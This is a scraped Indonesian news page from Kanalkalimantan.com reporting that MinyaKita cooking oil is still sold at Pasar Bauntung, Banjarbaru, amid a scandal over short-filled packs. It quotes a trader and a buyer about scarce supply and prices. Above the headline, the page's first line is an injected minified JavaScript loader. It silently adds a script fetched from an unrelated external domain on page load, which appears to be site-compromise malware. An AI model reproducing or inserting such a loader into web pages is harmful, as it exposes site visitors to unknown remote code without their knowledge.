(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pedagang Pembeli Tak Tahu Takaran Kurang, MinyaKita Masih Dijual di Pasar Bauntung Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Stok minyak goreng merek MinyaKita masih dijual secara normal di Pasar Bauntung Banjarbaru di tengah skandal besar temuan pengurangan isi takaran yang didapati Menteri Pertanian RI saat Sidak Pasar di Jakarta.

Pedagang dan pembeli MinyaKita di Kota Banjarbaru tak tahu ada skandal besar kecurangan pengurangan isi minyak goreng yang dilakukan oleh 3 perusahaan produsen pengemas.

Temuan Menteri Pertanian RI Andi Amran Sulaiman di Jakarta memperlihatkan isi takaran MinyaKita tak sesuai dengan yang tertera pada kemasan yakni 1 liter, sementara isi sebenarnya hanya 750 mililiter.

Baca juga: Skandal Curang MinyaKita: Takaran Dikurangi, Harga Dinaikkan, Pengawasan Pemerintah Bobol!


Sementara pedagang sembako salah satunya di Pasar Bauntung Banjarbaru didapati hanya mengeluhkan pasokan MinyaKita yang berkurang, tanpa mengetahui secara persis isi dalam kemasan takaran dicurangi dengan cara pengurangan isi.

Reza, salah satu pedagang mengaku, tetap menjual MinyaKita dengan Harga Eceran Tertinggi (HET) Rp15.700 per liter bahkan lebih di atas harga itu karena kekurangan pasokan.

“Masih dijual tapi dengan harga ecer, hanya untuk yang satu liter bantalan tidak boleh untuk partai
harganya Rp15.700 ribu,” ujar Reza, salah satu pedagang sembako di Pasar Bauntung Banjarbaru, Rabu (12/3/2025).

Baca juga: Kabar Bullying di Sekolah Swasta, Disdik Banjarmasin: Bukan Perundungan, Bercanda Berlebihan


Kendati demikian ia mengaku tetap menjual MinyaKita, namun bukan diambil dari distributor, melainkan dari tangan ke tangan sehingga harga jual lebih mahal.

Seperti MinyaKita ukuran dua liter, ia mengaku tak pernah lagi mendapatkan pasokan dari distributor selama tiga bulan terakhir.

“Yang dua liter terus terang saja tidak pernah dapat selama 3 bulan ini dari distributor. Makanya saya bingung apakah distributor yang bermain,” ungkap dia.

“Karena tidak langsung dari distributor, sudah tiga bulan ini gak ada pengiriminan katanya habis gak ada barang, tapi di Banjarmasin banyak, patut dipertanyakan,” imbuhnya.

Baca juga: Tak Sadar Nyangkut Pohon, Kontainer Terjatuh di Banjarmasin

Ia menyebutkan jika MinyaKita dapat dengan mudah dibeli di luar daerah, namun tidak dengan distributor di Banjarbaru.

“Jadi kami MinyaKita yang 2 liter dari Kotabaru, karena belinya di luar jadi lebih mahal, kami jual Rp34 ribu dua liter. Untuk kemasan botol kami dapatnya dari Pangkalambun dijualnya Rp16 ribu,” jelas Reza.

Untuk ukuran bantalan MinyaKita, ia mengaku sudah tidak banyak dapat dari distributor karena dibatasi satu minggu hanya ada pengiriman satu truk saja.

“Kemasan bantalnya juga dapatnya gak banyak, biasanya dua – tiga truk tapi sekarang satu minggu dibatasi 1 truk isinya 700 dus 12 liter satu dusnya. Tidak mencukupi juga satu minggu itu 700 dus itu, kalau bisa ditambah lagi lah kuotanya,” jelasnya lagi.

Baca juga: Kenakalan Remaja di Banjarbaru, Kolaborasi Bersama dalam Pengawasan

MinyaKita ukuran bantalan ini pun tak tahu ia ambil dari tangan ke berapa, sehingga harganya yang dijual dengan lebih mahal.

“Padahal di Banjarmasin banyak saja sampai kita harus ngambil di Banjarmasin pasti lah lebih mahal,” tandas Reza.

Sementara itu, Syafi’i salah satu pembeli langganan di Pasar Bauntung Banjarbaru mengaku memilih MinyaKita karena harga yang pas dengan kantong dirinya.

Di tengah keterbatasan pasokan di pasaran, ia pun tetap memilih langganan membeli MinyaKita di toko sembako milik Reza di Pasar Bauntung Banjarbaru.

“Masih terjangkau istilahnya, karena jualan bumbu pasti mencari minyak goreng yang harga miring, untuk sementara kita beli di langganan sini,” ujar Syafi’i.

Syafi’i menyebutkan ia membeli satu dus MinyaKita ukuran bantalan untuk dapat membuat empat macam bumbu masak yang ia jual kembali di pasar.

“Isi 12 minyak satu dusnya saya beli Rp15.800. Jadi minyaknya sekali pakai, kita beli dua hari sekali tiga hari sekali,” tuntasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

9 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

10 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

10 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

12 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

13 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

13 jam ago

This website uses cookies.